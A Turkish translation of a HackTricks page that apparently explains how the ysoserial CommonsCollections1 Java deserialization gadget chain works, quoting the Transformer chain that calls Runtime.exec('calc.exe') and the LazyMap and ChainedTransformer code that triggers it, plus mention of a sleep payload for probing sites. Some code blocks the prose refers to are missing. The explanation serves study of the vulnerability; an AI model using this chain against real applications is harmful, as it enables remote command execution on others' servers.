Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını yapmak ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
Java deserializasyon yükleri hakkında hiçbir şey bilmiyorsanız, bu kodun neden bir hesap makinesi çalıştıracağını anlamak zor olabilir.
Öncelikle, Java'da bir Dönüştürücü (Transformer), bir sınıf alır ve onu farklı bir sınıfa dönüştüren bir şeydir.
Ayrıca burada çalıştırılan yükün eşdeğer olduğunu bilmek ilginç olabilir:
Peki, ilk payload nasıl "basit" tek satırlık olanlara eşdeğer olarak sunuluyor?
İlk olarak, payload içinde bir dizi (array) dönüşüm zinciri oluşturulduğunu fark edebilirsiniz:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Kodları okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz keyfi komutları çalıştırabilirsiniz.
Payload'ın son bölümünde bir Map nesnesi oluşturulduğunu görebilirsiniz. Ardından, LazyMap'ten decorate fonksiyonu, map nesnesi ve zincirlenmiş dönüştürücülerle birlikte çalıştırılır. Aşağıdaki kodlardan da görebileceğiniz gibi, bu, zincirlenmiş dönüştürücülerinlazyMap.factory özelliği içine kopyalanmasına neden olacaktır:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
Ve ardından büyük final gerçekleştirilir: lazyMap.get("anything");
İşte get fonksiyonunun kodu:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
Ve işte transform fonksiyonunun kodu:
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Öyleyse, factory içinde chainedTransformer'ı kaydettiğimizi hatırlayın ve transform fonksiyonunun içinde tüm bu zincirlenmiş dönüştürücülerden geçtiğimizi ve birbirini takip eden şekilde çalıştırdığımızı unutmayın. İlginç olan şey, her bir dönüştürücünün giriş olarak object'i kullandığı ve object'in en son çalıştırılan dönüştürücünün çıktısı olduğu. Bu nedenle, tüm dönüşümler kötü niyetli payload'u çalıştıran birbirine bağlı şekilde çalıştırılıyor.
Özet
Sonunda, lazyMap'in zincirlenmiş dönüştürücüleri get yöntemi içinde nasıl yönettiği nedeniyle, sanki aşağıdaki kodu çalıştırıyormuşuz gibi oluyor:
Burada, ComonsCollections1 payload'ı için kullanılan gadget'ların açıklandığı belirtilmiştir. Ancak, tüm bunların nasıl başladığı ve yürütüldüğü belirtilmemiştir. Burada ysoserial'in bu payload'ı yürütmek için bir AnnotationInvocationHandler nesnesi kullandığını görebilirsiniz çünkü bu nesne deserialize edildiğinde payload.get() fonksiyonunu çağıracak ve tüm payload'ı yürütecektir.
Java Thread Sleep
Bu payload, web'in savunmasız olup olmadığını belirlemek için uygun olabilir çünkü eğer savunmasızsa bir sleep işlemi gerçekleştirir.
Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!